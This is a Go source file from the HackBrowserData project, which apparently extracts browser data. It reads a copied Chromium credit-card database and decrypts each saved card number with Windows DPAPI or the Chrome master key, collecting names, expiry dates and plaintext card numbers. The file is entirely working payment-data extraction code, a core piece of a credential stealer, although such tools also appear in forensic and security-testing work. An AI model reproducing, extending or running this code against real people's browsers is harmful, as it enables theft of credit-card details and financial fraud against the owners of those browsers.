You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
HackBrowserData/internal/browingdata/creditcard.go

60 lines
1.2 KiB

package browingdata
import (
"database/sql"
"fmt"
_ "github.com/mattn/go-sqlite3"
"hack-browser-data/internal/browser/item"
"hack-browser-data/internal/decrypter"
)
type ChromiumCreditCard []card
func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
creditDB, err := sql.Open("sqlite3", item.TempChromiumCredit)
if err != nil {
return err
}
defer creditDB.Close()
rows, err := creditDB.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
fmt.Println(err)
}
creditCardInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
}
if masterKey == nil {
value, err = decrypter.DPApi(encryptValue)
if err != nil {
return err
}
} else {
value, err = decrypter.ChromePass(masterKey, encryptValue)
if err != nil {
return err
}
}
creditCardInfo.CardNumber = string(value)
*c = append(*c, creditCardInfo)
}
return nil
}
func (c *ChromiumCreditCard) Name() string {
return "creditcard"
}